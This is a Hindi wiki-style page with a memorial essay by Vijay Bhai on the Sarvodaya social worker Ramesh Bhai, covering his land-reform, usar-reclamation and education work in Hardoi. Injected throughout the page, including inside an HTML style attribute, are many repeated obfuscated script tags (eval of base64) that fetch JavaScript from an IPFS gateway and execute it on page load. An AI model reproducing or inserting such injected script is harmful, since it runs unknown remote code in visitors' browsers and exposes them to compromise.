सेवापरायण जीवन युक्त अविस्मरणीय व्यक्तित्व -विजय भाई

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif यह लेख स्वतंत्र लेखन श्रेणी का लेख है। इस लेख में प्रयुक्त सामग्री, जैसे कि तथ्य, आँकड़े, विचार, चित्र आदि का, संपूर्ण उत्तरदायित्व इस लेख के लेखक/लेखकों का है भारतकोश का नहीं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सेवापरायण जीवन युक्त अविस्मरणीय व्यक्तित्व -विजय भाई
रमेश भाई से जुडे आलेख
संपादक अशोक कुमार शुक्ला
प्रकाशक गद्य कोश पर संकलित
देश भारत
पृष्ठ: 80
भाषा हिन्दी
विषय रमेश भाई से जुडे आलेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सेवापरायण जीवन युक्त अविस्मरणीय व्यक्तित्व

आलेख:विजय भाई

प्रधानाचार्य, आदर्श इण्टर कालेज थमरवा, हरदोई एवं मंत्री उ0प्र0 हरिजन सेवक संघ

सृष्टि का शाश्वत नियम है कि जो व्यक्ति धरती पर जन्म लेता है, वह निश्चित ही मृत्यु को पाता है। ऐसे ही दुनिया चलती रहती है। यहॉ पर लेकिन कुछ व्यक्ति ऐसे भी जन्म लेते है जो अपने दिव्य कर्मो तथा श्रेष्ठ विचारों से कालजयी होते है। समाज उन्हें सदैव आदर से स्मरण करता रहता है।
इस श्रंखला में आदरणीय रमेश भाई भी आते है।
’’होनहार विरवान के होत चीकने पात’’ की उक्ति रमेश भाई के जीवन में अक्षरतः चरितार्थ हुई है। जब वह स्वयं बी0 ए0 मे पढ रहे थे तभी अपने अध्ययन काल मंे ही समाज में शान्ति, सौहार्द एवं साम्प्रदायिक सद्भाव के लिये ग्राम स्तर पर ही नवयुवको को जोड कर विभिन्न धर्मावलम्बियों के बुद्धिजीवियों को एक मंच पर एकत्र कर साम्प्रदायिक सौहार्द स्थापना की दिशा में सशक्त कदम उठा चुके थे। इसके अतिरिक्त उसी समय उन्होंने क्षेत्रीय बालक बालिकाओं के लिये शिक्षा की सुविधा न होने से विचलित होकर क्षेत्र में ही शिक्षा सुलभ कराने के लिये आदर्श विद्यालय थमरबा की स्थापना भी कर दी थी। इस विद्यालय की स्थापना में जन सहयोग के साथ साथ स्वयं अद्भुत श्रमदान करके उन्होंने जो उदाहरण प्रस्तुत किया, वह निश्चय ही स्तुत्य है। निश्चित ही वह गॉधी विनोवा विचार को इस समय तक हृदयंगम कर चुके होगे।
सीतापुर जनपद से राजनीतिशास्त्र मे परास्नातक होने के समय उनके कवि हृदय को इस जनपद में साहित्य साधना के लिये उर्वरा भूमि मिली। उस समय उन्होंने अनेक श्रेष्ठ कविताये लिखी तथा बडे बडे कवि सम्मेलनों में भाग लेकर अपनी साहित्यिक प्रतिभा का परिचय दिया। अपने केवल कवि रहने पर भी उन्होंने कविताये लिखी। एक कविता से उदघृत कुछ पंिक्ंतयों की वानगी-

और मै कविता करता रहा।।
सजी थी सुन्दर एक दुकान,
कष्ण राधा के चित्र महान।
बेचते बाबा जी थे धर्म,,
नित्य का था यह उनका कर्म।

देख ईश्वर के घर बाज़ार,,
बेचारा भक्त भटकता रहा।
और मै कविता करता रहा।।

बाद में रिसर्च के लिये उन्होंने सामाजिक परिवर्तन के क्षेत्र में विनोबा विषय पर गॉधी विनोवा साहित्य का अध्ययन करना प्रारम्भ किया। इससे उनके विचारों को विस्तृत फलक एवं दिशा मिल गयी।
वस्तुतः एक विद्यार्थी के रूप में रिसर्च से बहुत ऊपर का लक्ष्य उनको मिल गया था। इसके बाद सर्वोदय आन्दोलन को समर्पित उनके जीवन ने अन्यन्त्र पीछे मुडकर नहीं देखा। इससे एक ओर वह सर्वोदय आन्दोलन में सक्रिय रूप से जुडे और दूसरी ओर अनवरत चर्चा के माध्यम से अन्य साथियों को आन्दोलन से जोडने का काम प्रारम्भ किया। इसी समय मेरी भेट रमेश भाई से हुई एवं परस्पर विचार मंथन के उपरान्त मेरी भी इस आन्दोलन में भागीदारी प्रारम्भ हुई।
बहुत समय तक रमेश भाई अपने साथियों के साथ समाज में व्याप्त तमाम तरह की विषमताओं को दूर करने के लिये पद यात्राओं द्वारा गॉव गॉव जाकर अपने वैचारिक तथा व्यावहारिक कार्यक्रमों के माध्यम से लोगों को जाग्रत करने का काम करते रहे। 1974 में प्रदेश शासन स्तर पर एक हाई पावर कमेटी का गठन हुआ। इस कमेटी के द्वारा उत्तर प्रदेश के भूमिहीन खेतिहर मज़दूरों, छोटे शिल्पकारों तथा अल्प जोत वाले लोगों को जमीन दिलाकर आर्थिक समानता की दिशा में जो महत्त्वपूर्ण काम किया गया, इसमें आपकी सशक्त भागीदारी रही। इस कार्यकम के जरिये न केवल उत्तर प्रदेश में भूमि आवंटन की प्रक्रिया की सर्वमान्य खोज की गयी बल्कि कई लाख एकड भूमि भूमिहीन खेतिहर मज़दूरों को, जो इसके लिये सर्वाधिक पात्र व्यक्ति थे, आवंटित की गयी। इस महत्त्वपूर्ण एवं महत्वाकांक्षी सफल कार्यक्रम को बाद में कई प्रान्तों ने अपनाया जिसमें महाराष्ट्र के वर्धा एवं यवतमाल जनपदों में इस टीम का भी सहयोग लिया गया।
 
तत्कालीन मुख्यमंत्री नारायणदत्त तिवारी व युवा कांग्रेस पदाधिकारी नरेश अग्रवाल के साथ रमेश भाई
आगे रमेश भाई ने जन सामान्य की हक की लडाई को और तेज करने के लिये खेत, मज़दूर, किसान परिषद के माध्यम से शोषित, पीड़ित और दलित तथा अन्याय की शिकार जनता की आवाज को बुलन्द करने के लिये गॉव गॉव जाकर एक एक रुपये के लाखों मेम्बर बनाकर अपनी अदभुत संगठन क्षमता का परिचय दिया तथा समाज के शोषक और अन्यायी लोगों के विरुद्ध जन सामान्य को खडा किया। इस आन्दोलन से तमाम गॉवों मे आपसी सुलह समझोैते के आधार पर जमीन सम्बन्धी समस्याये हल हुई। अपवाद स्वरूप यदि कही समस्या आपसी सुलह समझौते के आधार पर सम्भव न हो सकी तो मुक्त क़ानूनी सहायता योजना के माध्यम से फ्री वकील देकर ग़रीब आदमी को हक दिलाने का काम किया गया। इस आन्दोलन की परिणिति इस रूप में सामने आयी कि जहॉ ग़रीब और अशक्त व्यक्ति अपने न्याय संगत हक को मॉगने के लिये शक्तिशाली हुआ वही दूसरी ओर सामजिक और नैतिक दवाव के कारण शोषक एवं अन्यायी समाज स्वतः ग़रीबों के उत्थान में भागीदारी बना।
साथियों के साथ आपसी विचार मंथन से यह बात सामने आयी कि समाज में अपने विचारों को मूर्त रूप प्रदान करने के लिये किसी ढांचे की आवश्यकता है इसकी परिणिति में सर्वोदय आश्रम 1981 में पंजीकृत हुआ एवं ग्रामीणों के आग्रह पर हरदोई के ही टडियावॉ ब्लाक के सिकन्दरपुर गॉव में 1983 में सर्वोदय आश्रम की स्थापना हुई। आपके दिशा निर्देशन में सर्वोदय आश्रम ने जिन ऊॅचाईयों को स्पर्श किया है उनको रेखांकित करना समाचीन होगा।
उत्तर प्रदेश में 13 लाख हेक्टेयर भूमि उसर थी। इस भूमि को सुधारने की चुनौती स्वीकार करते हुये आपने भूमिहीनों मंे ऊसर भूमि का आवंटन कराकर तथा किसानों की सशक्त भागीदारी व शासन के सहयोग से ऊसर सुधार का जो अभिनव प्रयोग किया, जिसे हरदोई पैटर्न के नाम से जाना गया, यह आपकी ही सूझबूझ और ग़रीब आदमी की सेवा की भावना का प्रतिपादक है। एक प्रसंग याद आता है कि कृषि वैज्ञानिकों द्वारा यह सुझाये जाने पर कि बडे आदमियों को देने से साधन युक्त लोग उसर सस्ता एवं शीध्र सुधार लेगे, रमेश भाई ने दृढता से कहा कि यदि यह जमीन ग़रीब आदमी को नहीं मिलेगी तो सर्वोदय आश्रम अपने को इस कार्यक्रम से बाहर करता है। बाद में उनके सुझाव के अनुसार ही यह परियोजना आगे बढी। उनकी राय को महत्त्वपूर्ण मानते हुये उनको, भूमि सुधार निगम की इस महत्वाकांक्षी परियोजना में सभी संस्थाओं के प्रतिनिधि के तौर पर निदेशक मंडल का एक निदेशक बनाया गया।
 
सर्वोदय आश्रम का अभिनव ऊसर सुधार कार्यक्रम शुभारंभ
सर्वोदय आश्रम के ही माध्यम से आपने दलित व अस्पृश्य बालक बालिकाओं को मुख्य धारा में जोडने के लिये निशुल्क गठन पाठन तथा आवासीय सुविधाओं को प्रदान करते हुये शिक्षा दिलाने का जो सार्थक प्रयास आपने किया है वह सदैव स्मरणीय रहेगा। इसी के फल स्वरूप आज आश्रम में रहकर 700 से अधिक बालिकाये गुणवत्ता पूर्ण सार्थक शिक्षा प्राप्त कर रही है। आपके नेतृत्व में शिक्षा के क्षेत्र में अभिनव प्रयोग किये गये है। जिनके लिये आश्रम को एक पहचान मिली है।
इस प्रकार वैचारिक आन्दोलनों, शिविरों तथा पद यात्राओं के माध्यम से सामाजिक परिदृष्य बदलने का कार्य करने के साथ ही साथ उन्होनंे देश में शान्ति सदभाव और सम्प्रदायिक सौहार्द के लिये राष्ट्रीय स्तर पर भी तमाम कार्य कियंे। श्र˜ेय दीदी निर्मला देशपाण्डे के नेतृत्व में आंतकवाद की आग में जलते हुये पंजाब में शान्ति यात्रा, जम्बू कश्मीर में शान्ति यात्रा, मुरादाबाद व मुजफफर नगर में सम्प्रदायिक सौहार्द की स्थापना के लिये उनके द्वारा किये गये प्रयास सदैव स्मरणीय रहेगे।

 
आश्रम का भ्रमण करते मोतीलाल वोरा

आप इतने बहुमुखी प्रतिभा के धनी व्यक्ति थे कि ग्राम स्तर से लेकर राष्टीय स्तर तक के संगठनों में सम्मान जनक पदों पर रहते हुये न केवल अपनी निष्ठा, लगन, कर्मठता, प्रशासनिक क्षमता, बुद्धिकौशल, अच्छे संगठन कर्ता का परिचय दिया बल्कि अपने सभी प्रकार के उत्तरदायित्वों का निर्वहन किया। रमेश भाई में मैने जो साथियों को साथ लेकर चलने का कौशल देखा वह अन्यत्र बहुत दुर्लभ है। अपने समवयस्क साथियों को लेकर एक समर्थ टीम बनाकर रखना और यह प्रयास करना कि प्रत्येक को विकसित होने का मौका मिले। यह अदभुत कौशल है। यह समानुभूति का वह गुण है जिसकी सभी स्तर के संगठनों को ज़रूरत है। इसके दर्शन मैने उनमें किये।
 
युवा नेतृत्व शिविर में भाग लेते रमेश भाई साथ में विजय भाई
समय समय पर आदरणीय दीदी स्वर्गीय निर्मला देशपाण्डे के नेतृत्व में होने वाले राष्ट्रीय सम्मेलनों में आपकी प्रभावी भूमिका रही है। जब कभी भी आपको छोटी से छोटी और बडी से बडी जिम्मेदारी दी गयी आपने अपने कौशल निष्ठा व लगन से उसका निर्वाह करते हुये अपनी समर्थ उपस्थिति का एहसास कराया।
उत्तर प्रदेश के हरदोई जनपद के एक छोटे से ग्राम थमरबा में 01 मई सन् 1951 को स्वर्गीय माता सूरजमुखी व स्वर्गीय पिता वृजमोहन लाल श्रीवास्तव शिक्षक के घर जन्में रमेश भाई सामाजिक सेवा के क्षेत्र में इतनी ऊचाईयों को छुयेगे यह कोई नहीं जानता था लेकिन परमात्मा जिसके माध्यम से जो समाज का काम कराना चाहता है, उसको वह निश्चित ही अपनी दिव्य शक्ति प्रदान करता है।
 
ऐसी दैवीय सम्पदा से युक्त श्री रमेश भाई असमय में ही हम लोगों के बीच से दिनॉक 19.11.2008 को स्वर्गवासी हो गये। उनके चले जाने से निश्चित रूप से एक अपूर्णीय क्षति हुई है जिसकी भविष्य में भरपाई हो पाना कठिन है।
ऐसेें सेवा परायण, बहुमुखी प्रतिभा के धनी, सिद्धान्तों पर अडिग रहने वाले, विचारों को अपने जीवन में साकार रूप प्रदान करने वाल,े दृढ संकल्पी व अपने तर्को से उच्च पदस्थ हर क्षेत्र के जिम्मेदार लोगो को सहमत कर लेने वाले हम सबके प्रेरणा स्रोत तपस्वी स्वर्गीय श्री रमेश भाई को शत् शत नमन करते हुयंे लेखनी को विराम।
अन्त में रमेश भाई के सम्पूर्ण व्यक्तित्व पर प्रकाश डालने के लिये एक श्लोक की दो पंक्तियॉ उदधृत करना आवश्यक समझता हूूॅ -

’’ वंदन प्रसादसदनं सदयं हदयं सुधा मुयों वाचा।
करणं परोपकरणं येषां केषाम न ते वंद्याः।।
अर्थातः

जिसके मुख मंडल पर प्रसन्नता छाई रहती है, हदय करुणा से भरा हो तथा जिसकी वाणी अमृत तुल्य हो और जिसके सभी कार्य परोपकार के लिये हो ऐसा व्यक्ति समाज में सभी से आदर पाता है।

विनोवा जन्तशती समारोह 1995 के मंच पर रमेश भाई

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

  1. गद्य कोश पर सेवापरायण जीवन युक्त अविस्मरणीय व्यक्तित्व, आलेख:विजय भाई

संबंधित लेख

<div style="border-bottom:1px solid SteelBlue<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#c2d4ec<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">स्वतंत्र लेखन वृक्ष

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>